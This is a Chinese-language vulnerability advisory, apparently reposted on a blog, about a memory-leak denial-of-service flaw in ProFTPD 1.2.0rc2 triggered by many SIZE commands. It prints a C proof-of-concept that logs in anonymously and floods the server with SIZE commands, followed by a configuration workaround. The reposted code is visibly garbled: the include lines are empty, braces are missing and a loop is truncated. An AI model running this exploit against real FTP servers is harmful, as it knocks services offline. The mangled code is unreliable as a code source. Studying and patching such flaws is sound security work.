Proftpd 记忆体泄漏拒绝服务攻击漏洞

描述: 
-------------------------------------------------------------------------------- 


Proftpd是一个流行的Ftp服务软体。它在执行SIZE命令时存在一个记忆体泄漏的 
问题,攻击者可以利用此问题进行拒绝服务攻击。 

如果执行5000条SIZE命令,将导致系统用300KB记忆体。如果执行大量的SIZE 
命令,将使记忆体耗尽,导致拒绝服务攻击。攻击者只需要匿名访问权限即可 
进行这种攻击。 

<*来源:Wojciech Purczynski (wp@elzabsoft.pl) 
Piotr Zurawski [fb] (szur@ix.renet.pl) 
*> 



测试程序: 
-------------------------------------------------------------------------------- 

警 告 

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负! 



/* Proftpd DoS 
* by Piotr Zurawski (szur@ix.renet.pl) 
* This source is just an example of memory leakage in proftpd-1.2.0(rc2) 
* server discovered by Wojciech Purczynski. 
*/ 

#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 

#define USERNAME "anonymous" 
#define PASSWORD "dupa@dupa.pl" 
#define HOWMANY 10000 

void logintoftp(); 
void sendsizes(); 
int fd; 
struct in_addr host; 
unsigned short port = 21; 
int tcp_connect(struct in_addr addr,unsigned short port); 

int main(int argc, char **argv) 


if (!resolve(argv[1],&host)) 

fprintf(stderr,"Hostname lookup failure/
"); 
exit(0); 


fd=tcp_connect(host,port); 


logintoftp(fd); 

printf("Logged/
"); 

sendsizes(fd); 

printf("Now check out memory usage of proftpd daemon"); 
printf("Resident set size (RSS) and virtual memory size (VSIZE)"); 
printf("fields in ps output"); 


void logintoftp() 


char snd[1024], rcv[1024]; 
int n; 

printf("Logging " USERNAME "/" PASSWORD "/r/
"); 

memset(snd, '/0', 1024); 
sprintf(snd, "USER %s/r/
", USERNAME); 
write(fd, snd, strlen(snd)); 

while((n=read(fd, rcv, sizeof(rcv))) > 0) 

rcv[n] = 0; 
if(strchr(rcv, '/
') != NULL)break; 


memset(snd, '/0', 1024); 
sprintf(snd, "PASS %s/r/
", PASSWORD); 
write(fd, snd, strlen(snd)); 

while((n=read(fd, rcv, sizeof(rcv))) > 0) 

rcv[n] = 0; 
if(strchr(rcv, '/
') != NULL) 
break; 

return; 


void sendsizes() 

char snd[1024], rcv[1024]; 
unsigned long loop; 

printf ("Sending %i size commands... /
", HOWMANY); 

for(loop=0;loop { 
sprintf(snd, "SIZE /dadasjasojdasj/adhjaodhahasohasaoihroaha"); 
write(fd, snd, strlen(snd)); 


return; 


int tcp_connect(struct in_addr addr,unsigned short port) 

int fd; 

struct sockaddr_in serv; 
bzero(&serv,sizeof(serv)); serv.sin_addr=addr; 
serv.sin_port=htons(port); 
serv.sin_family=AF_INET; 

if ((fd=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP)) < 0)/ 

perror("socket"); 
exit(0); 


if (connect(fd,(struct sockaddr *)&serv,sizeof(serv)) < 0) 

perror("connect"); 
exit(0); 


return(fd); 


int resolve(char *hostname,struct in_addr *addr) 

struct hostent *res; 
res=gethostbyname(hostname); 
if (res==NULL) 
return(0); 
memcpy((char *)addr,res->h_addr,res->h_length); 
return(1); 



-------------------------------------------------------------------------------- 
建议: 

临时解决方法: 

Dmitry Alyabyev 提供了一个临时解决 
方法,限制SIZE命令的使用,在配置文件中增加下列语句: 


Deny All 
 
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值